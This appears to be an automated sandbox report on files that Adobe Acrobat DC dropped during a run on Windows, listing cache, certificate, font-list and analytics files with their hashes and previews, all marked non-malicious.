Preview:	2025/01/10-13:28:13.685 1c54 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:28:13.686 1c54 Recovering log #3.2025/01/10-13:28:13.686 1c54 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.217709966883355
Encrypted:	false
SSDEEP:	6:iO4Q3xOq2PcNwi2nKuAl9OmbzNMxIFUtSQsDZZmwsQsDzkwOcNwi2nKuAl9OmbzE:7XsvLZHAa8jFUti/U54ZHAa84J
MD5:	AED3966D895B7155F96CCF7C3CE4AF93
SHA1:	2119F4D7C191516DBB8D686580CECC780BC7D925
SHA-256:	1001BE3340503A22540258AF73BF7EFB56A7B8CB90EFBA535DCEAD32F7916F79
SHA-512:	E806675AFCE71E725B0C1A11AE7CB5A6F493470BEED9AA5C9A7B430ED017146C007F6DD0E83AD35C0C31DABA2F0339836EBD281F5D87369BA56C485BA404A87B
Malicious:	false
Preview:	2025/01/10-13:28:13.685 1c54 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:28:13.686 1c54 Recovering log #3.2025/01/10-13:28:13.686 1c54 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438888461840489
Encrypted:	false
SSDEEP:	384:yeaci5GuiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1GurVgazUpUTTGt
MD5:	A49B884D8D5BED953BA83568705CE2D6
SHA1:	1DA578A8060084A0C2FA6E83471B0CCE47778775
SHA-256:	273B73FF2B1DB00CAF438586B67255375D3BC5489793949C9A24AB3C14FB49D1
SHA-512:	9C3FFAD47FAE8D59FD266CBB6CB5D064B66A4D204A061E1730613F1F1585120B41C58124D79F4177404FA2CA7A2CC893EFC0534311B3CD5672448C4D48624CE4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7753608418438307
Encrypted:	false
SSDEEP:	48:7MHWp/E2ioyV2ioy3DoWoy1CABoy1mKOioy1noy1AYoy1Wioy1hioybioyYoy1nM:7YWpju20iAiXKQhUb9IVXEBodRBkD
MD5:	11273226944CD97E534A4DCABF9EC6DA
SHA1:	7E73A88F8EC341D2FB22BE09A3DD01535341439A
SHA-256:	A17623C1FF8C025D8C15E8DDB1360A1DE2FD71AF816A1F30299B2E7333A8EFD7
SHA-512:	D65548571BD3C1CCBC443FA79A3F80E0798FC44F82516556EFC939EEFB4E5BB461079FD2969D088759A2850701010B081D60743A454A1AFA2656CBBF5DA47AF0
Malicious:	false
Preview:	.... .c......+.o...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7209817973800585
Encrypted:	false
SSDEEP:	3:kkFkl2Y+k3/tfllXlE/HT8knwltNNX8RolJuRdxLlGB9lQRYwpDdt:kKvY+kPeT8uQTNMa8RdWBwRd
MD5:	D757CEF6AF2EAE3B6A1C65B0BC32FF30
SHA1:	48B33B38AF412CEEB9A1E09D08C4F49C1C4F0AB1
SHA-256:	D6E5E6348E46ADCAACB37B0AC73691202448B457A500CB3550B2D328BD003B75
SHA-512:	6BE15967923E205B8854FE03860C906F9648EF227F73A71C4520D684AF3BABB0AB0656ED0D3FA6D96B7C597AA01A00B6DFD5F42101CA8557EBFADED8D3F2433F
Malicious:	false
Preview:	p...... ........E..l.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kK/VEtL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:3itiDImsLNkPlE99SNxAhUe/3
MD5:	DCAE396954EE0CCC1DF9DCF9C76B444C
SHA1:	7C497416E93BED9E903EAB753D97BCD2AFF96363
SHA-256:	D562C011221E3ED058A2DE3DAC61881920A8BE39C92AB05D40F9ED877CE927F4
SHA-512:	B51C69D6AA088DA5EAF6D64422EF6FBB48405D883D6202C088B295C49C99B2BF5C111155D84024F90C6FB075B84D2FF44E1531FEA5F5FF414810246F41387FBD
Malicious:	false
Preview:	p...... .........T3..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8032

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8032

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.357488847272146
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyA17+sL86V4WsGiIPEeOF0YtDoAvJM3g98kUwPeUkwRe9:YvXKXT1PQ6RsdTeONsGMbLUkee9
MD5:	670E1BC04857480F60C7DA3809F3986B
SHA1:	566E18CC12A6936C2A0EC27733EA12E483145AD5
SHA-256:	16B52F64A485C475AF46B76D61EFE616819607D2383204AC00A227B8BB5D6DF7
SHA-512:	D763447316F9097B624BD898C50394BF35B96E436ADE7007556A01E86713E335FC41B3721887E69F7EB33F6DBB7D58781C9557DD7B08897E2468EEE237C704B8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac32ded7-fa7d-47c6-82ea-252786278969","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710852707,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.293072440354873
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyA17+sL86V4WsGiIPEeOF0YtDoAvJfBoTfXpnrPeUkwRe9:YvXKXT1PQ6RsdTeONsGWTfXcUkee9
MD5:	B6903209FCB76F5EE77121BDC614EB76
SHA1:	A2CAC31447B0E68F0DCC02D4D21A63229CFBB9E7
SHA-256:	A1C0D93003131BC9FC1BCE2028869D4CB21999B1F12FF4E3EFB6E07E9FF06663
SHA-512:	0886AE8212E93DE842519703095881AE05C49F5036F4E02D42B13FCA6CF8E577F165659CFE2A6D732CC445D106801C74066275D32FF1D91CCF4E8C58BFCBB544
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac32ded7-fa7d-47c6-82ea-252786278969","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710852707,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.271620756880878
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyA17+sL86V4WsGiIPEeOF0YtDoAvJfBD2G6UpnrPeUkwRe9:YvXKXT1PQ6RsdTeONsGR22cUkee9
MD5:	32ACEB22D91C9E115E2E50EE9C710E2C
SHA1:	F72FDB808B26224DA8F47A402CC1C66C4C52D51E
SHA-256:	4F1AEBE572087F7E7DDFC79254386AACA5F3E5338E35C07782A7B333EDB34686
SHA-512:	B5C0DF536F50D3D9D578ED138DFA2442FDEA641D6C3E7789547BCACB7594655E76B3880494E2CAB6D2EC2096C505A51ED3CD1391A21CF290E23D95E4574AF0CC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac32ded7-fa7d-47c6-82ea-252786278969","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710852707,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.344161026249942
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyA17+sL86V4WsGiIPEeOF0YtDoAvJfPmwrPeUkwRe9:YvXKXT1PQ6RsdTeONsGH56Ukee9
MD5:	9C9053726BCC3D7B8EDD26EDF6E46EE4
SHA1:	C86BA28E341AC64B9343498EFFF044ACFF38A167
SHA-256:	DDDE0821AE9560A0F5B3E3201225A9897C8C289E86D2F6B6BAEBDEAAECF3A81D
SHA-512:	E0E65278531D2DE77F8300902C5B79BD0C71FC1F9FC207D76A7F327A7547915CC793E9D354E4A69C1F45F2A5610C63812F93A1356903B81963F63C2B729DF221
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac32ded7-fa7d-47c6-82ea-252786278969","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710852707,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6894994169316675
Encrypted:	false
SSDEEP:	24:Yv6XTzmeOXpLgE9cQx8LennAvzBvkn0RCmK8czOCCSGe:Yvze8hgy6SAFv5Ah8cv/Ge
MD5:	14959E6110E36BC6A314302C7AA35B54
SHA1:	5F828EF2E84F5D90844B33DD0195B2872F86D9F9
SHA-256:	FECA7F85746CA7C8EA5CD3FF1638A0E97FB983E1D5A4C21FA4512AFF90324BCC
SHA-512:	E221081D39543BC97492D4780AA8E6BF6F563F2B63F1129BD3C47FF863755D56ADF64BB0066B8765C2C8960F5A024EF34E34DE0586D1E683A7CA90D65FEA5C7F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac32ded7-fa7d-47c6-82ea-252786278969","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710852707,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.278200596100518
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyA17+sL86V4WsGiIPEeOF0YtDoAvJf8dPeUkwRe9:YvXKXT1PQ6RsdTeONsGU8Ukee9
MD5:	8DA0C3462D62EAD78DCCB4146C1E4894
SHA1:	F2DCA932D93A7CEE9791DD63BF4AC18047410C83
SHA-256:	71930E27331085EC5BD2CA3647186A42C5AC4D71CD107296A14B6B10B7C5F6A2
SHA-512:	28607056B61BA2DFD163CF6AA42E8031B6B52D03BB3BAB5D507B6902ACCD91729EF979EE30A53FC617CB983950FB4D0D939F7CFAD1C35876E920CFB2A10CD35D
Malicious:	false
